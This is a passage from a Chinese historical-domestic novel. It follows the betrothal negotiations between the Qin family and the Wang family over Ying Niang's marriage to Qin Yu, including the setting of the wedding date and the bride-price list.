重礼之中，一支莲花玳瑁簪尤为显目。 秦彧为人含蓄，情表意味确属隽永，如此，便是不消徐雪芝明说，秦彧求娶之意也已然明了。 不过该走的流程却也不能免去，云氏代瑛娘收下了莲花玳瑁簪，之后便与徐雪芝又见了几回。 家中子女相看，便是长辈不睦也不好相瞒，正好秦家也有意先行老汪家拜访，云氏便与徐雪芝商定了日子，待五月下旬时，将小食铺交由瑾娘与云客看顾，自个儿回了大王村与徐氏说明。 瑛娘断断续续收拢了云客找来的粮食，借着日夜掩顾藏仓，这才紧随云氏回了一趟村头。 阔别数月，徐氏只觉不论云氏还是瑛娘都不再似从前，两人仿佛与老汪了隔了厚厚一层，话里话外多是客气，再不如往日自然。 但云氏不敬婆母吗？ 不然。 云氏返家便先与了汪木匠与徐氏二百两的孝敬，回了房中也将数月来裁制的新衣给了汪点柱以示体贴爱意，可无论两老口还是汪点柱都觉得云氏再不似从前。 是从离家去到府城开始？ 不然。 汪点柱空床独守数月，已然隐隐意会云氏当初孤立无援的心酸。 “……定下瑛娘的亲事，你还去府城营生吗？” “嗯。” “……” 汪点柱张了张嘴，说不出追随之语，也说不出挽留之话。 瑛娘晚两日回来，正好秦放与徐雪芝上门商讨定亲事宜，她自主惯了，老汪家坐在堂上的长辈自然也不赶她。 双方坐定，便由吉日说起。 秦彧年长近四岁，若非秦放与徐雪芝不欲迫他，也等不到他与瑛娘结缘，所以此番商讨，便是秦放有意将日子定得近一些，看过八个吉日，有五个都在当年，两个在明年春时，只一个稍迟些，也在明年六月初。 按云氏的意思，明年五月瑛娘即满十八，六月成亲当是正好，但徐雪芝明显有些迟疑。 瑛娘倒觉无甚所谓。 婚事既定，早些晚些都是无碍，总归她不会自己绣嫁裳，只要能买得舒适、好看的便行。 “便明年春吧，三月三那日。” 瑛娘自个儿开了口，云氏自然不落她的面子，“好罢，日子既然定在三月三，过采便定在十月吧。” 十月的日子也是秦家看好的，说定过采，徐雪芝便拿出了初拟的礼单。 礼单之上除“五谷丰登”、“多子多福”等祝福礼外，还有聘饼、八珍海味、香炮镯金及聘金帖盒，可谓诚意满满。 “今日写下婚事，两个小的便算定下了。” “成。”